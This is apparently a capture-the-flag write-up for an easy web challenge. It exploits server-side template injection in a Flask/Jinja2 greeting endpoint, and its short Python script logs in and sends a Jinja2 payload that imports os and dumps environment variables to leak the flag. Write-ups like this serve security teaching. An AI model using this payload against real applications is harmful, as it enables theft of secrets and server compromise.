Challenge: La Casa de Papel — Secure Comms · CTF: Zer0d4yh31st CTF · Category: Web · Difficulty: Easy

Summary

A Flask/Jinja2 web app exposes a /greet endpoint that renders user-supplied names directly into a template, enabling SSTI. Dumping os.environ via the template context leaks the flag stored as an environment variable.

Solution

Step 1: Recon & Login

The homepage broadcasts the hint: "The greeting system renders your name directly. Be creative." and labels its engine Jinja2-256. The /login page leaks credentials in the hint text:

1

codename: denver   passphrase: hahahahaha

A teammate intercept message also reveals the flag location: "I found something in /flag.txt" — a deliberate red herring; the real flag lives in $FLAG.

Step 2: Confirm SSTI

POST to /greet with name={{7*7}} — the response renders 49, confirming unescaped Jinja2 evaluation.

Step 3: Dump env and extract flag

/flag.txt does not exist on disk, so pivot to environment variables via the Flask request context:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

#!/usr/bin/env python3
import requests, re

TARGET = "https://chall-2--kdmrhacker.replit.app"
session = requests.Session()

session.post(f"{TARGET}/login", data={"username": "denver", "password": "hahahahaha"}, allow_redirects=True)

payload = "{{request.application.__globals__.__builtins__.__import__('os').environ}}"
resp = session.post(f"{TARGET}/greet", data={"name": payload})

match = re.search(r"'FLAG':\s*'([^']+)'", resp.text)
print(f"FLAG: {match.group(1)}")

Output:

1
2

[+] Logged in as denver
[+] FLAG: Zer0d4yh31st{sst1_t0_rce_b3ll4_c14o}

Flag

1

Zer0d4yh31st{sst1_t0_rce_b3ll4_c14o}